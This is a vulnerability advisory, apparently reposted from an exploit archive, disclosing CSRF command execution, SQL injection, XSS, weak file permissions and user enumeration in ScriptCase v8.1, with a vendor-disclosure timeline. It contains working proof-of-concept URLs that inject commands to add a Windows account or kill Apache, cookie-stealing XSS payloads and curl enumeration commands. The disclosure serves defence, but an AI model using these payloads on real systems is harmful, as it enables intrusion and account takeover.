[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt [+] ISR: ApparitionSec Vendor: ================== www.scriptcase.net Product: =================== ScriptCase v8.1.053, v8.1.051, v8.1.43.0 scriptcase_install_en_us_v8.1.053.exe hash: ceaba1fce05556b82ab37582a7c907f4 scriptcase_install_en_us_v8.1.051.exe hash: c3c9fbe085ab5462304c0c73c8698946 ScriptCase RAD is a development platform for PHP applications, is web oriented and can be installed in a server in the internet. Vulnerability Type: ============================= CSRF Remote Command Execution CSRF Add Admin SQL Injection Cross Site Scripting Local Privlege Escalation (Insecure File Permissions) User Enumeration / Token Bypass Downloaded latest version v8.1.053, and still vulnerable. CVE Reference: ============== N/A Vulnerability Details: ===================== [CSRF Remote Command Execution] Scriptcase has a remote command execution ailment via CSRF, if an authenticated user clicks an attacker link etc. This can allow attackers to run arbitrary system commands on the affected host and do things like add accounts etc. Scriptcase PHP code uses encryption / obfuscated so its not easy testing but we can see here the error returned for PHP eval()'d code when injecting an Array [] brackets or something as paremeter. Parse error: syntax error, unexpected end of file, expecting ']' in C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358) : eval()'d code on line 1 After trying to wrap a Windows system call in backtick "`" operators it worked perfectly. This allowed me to add an arbitrary system account to the affected system. [CSRF] There are several cross site request forgery vectors, allowing attackers to add an Admin account to Scriptcase application etc. [Cross Site Scripting] Multiple XSS entry points exists within the vulnerable application both GET and POST. Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized before being processed by ajax HTTP post request. $.ajax({ type: 'POST', url: '/scriptcase/devel/iface/generate.php', data: 'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls=' + str_open_apps, success: function(s_result){ a_result = s_result.split('__compile_ajax_sep_row__'); nm_compile_gerar(); } }); [Local Privilege Escalation] scriptcase uses weak insecure file permissions as the “Everyone” group has full access on it. Allowing low privileged users to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. "Everyone" encompasses all users who have logged in with a password as well as built-in, non-password protected accounts such as Guest and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or change the file. This would allow an attacker the ability to inject code or replace scriptcase used executables and have it run in the context of the system. [User Enumeration] On failed scriptcase login the application returns one of the following in the HTTP response. "The login name provided is not registered on the system." On a failed password but correct user name entered application HTTP response returns. "The password is incorrect." Exploit code(s): =============== [CSRF Remote Command Execution] Note: we NEED to use backtick operators "`" http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start net user EVIL abc123 /add` Verify... c:\> net user User accounts for \\hyp3rlinx ------------------------------------------------------------------------ Administrator hyp3rlinx Guest EVIL Test Privileged-User 2) start Windows 'calc.exe' http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe` OR http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start calc.exe` **sometimes "calc.exe" doesnt appear but it is running use "tasklist /v | findstr calc.exe" to verify it is in fact running. 4) Apache DOS (needs httpd environmental variable set) http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill /f /im httpd.exe` [SQL Injection] AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter "10 AND 2=2" [CSRF Add Admin] [CSRF mysql connect creation wizard] [Cross Site Scripting] - Successful in Firefox XSS 1) http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS 2) http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E XSS 3) XSS 4) [Local Privilege Escalations] Proof. C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone | more C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F Everyone:(OI)(CI)(IO)(ID) C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi Everyone:(ID)F C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi Everyone:(ID)F C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F Everyone:(OI)(CI)(IO)(ID)F C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F Everyone:(OI)(CI)(IO)(ID)F [User Account Enumeration / Token Bypass] First off the stupid token used on the login FORM e.g. "form_login=" is totally useless you can put anything you like in it and the application will happily process the request. CURL Enumeration 1) curl -i -v -X POST http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d form_login=STUPID-TOKEN -d language=en_US HTTP Response: "error1:The login name provided is not registered on the system." CURL Enumeration 2) curl -i -v -X POST http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d form_login=STUPID-TOKEN -d language=en_US HTTP Response: "error1:The password is incorrect." Either way we know when we hit a valid account. Disclosure Timeline: ========================================= Vendor Notification: October 13, 2016 Vendor acknowledgement: October 14, 2016 Vendor request POC video: October 14, 2016 Sent vendor video link: October 14, 2016 Request update from vendor: October 17, 2016 Vendor reply: "under review" Vendor requests video again: October 25, 2016 Request update from vendor: October 30, 2016 Vendor reply: "No information" Request ETA: November 7, 2016 Request status: November 14, 2016 Vendor Unresponsive No More Replies November 20, 2016 : Public Disclosure # 0day.today [2018-03-01] #

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